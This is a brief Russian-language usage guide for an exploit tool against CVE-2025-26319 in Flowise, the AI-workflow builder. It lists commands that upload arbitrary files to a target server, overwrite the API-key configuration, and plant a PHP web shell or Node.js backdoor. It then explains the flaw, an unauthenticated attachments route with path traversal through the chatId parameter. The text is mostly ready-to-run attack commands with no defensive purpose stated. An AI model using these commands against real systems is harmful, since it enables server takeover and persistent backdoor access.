CVE-2025-26319

1. Базовая загрузка файлов python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. Загрузка конфигурационного файла

Изменение конфигурации API-ключа

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Автоматическое создание и загрузка веб-шелла

Загрузка PHP-веб-шелла

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

Загрузка Node.js-бэкдора

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

Принцип атаки Маршрут /api/v1/attachments находится в белом списке и не требует аутентификации Путем манипулирования параметром chatId выполняется обход каталога (../../../) Загрузка произвольного файла в произвольное место файловой системы сервера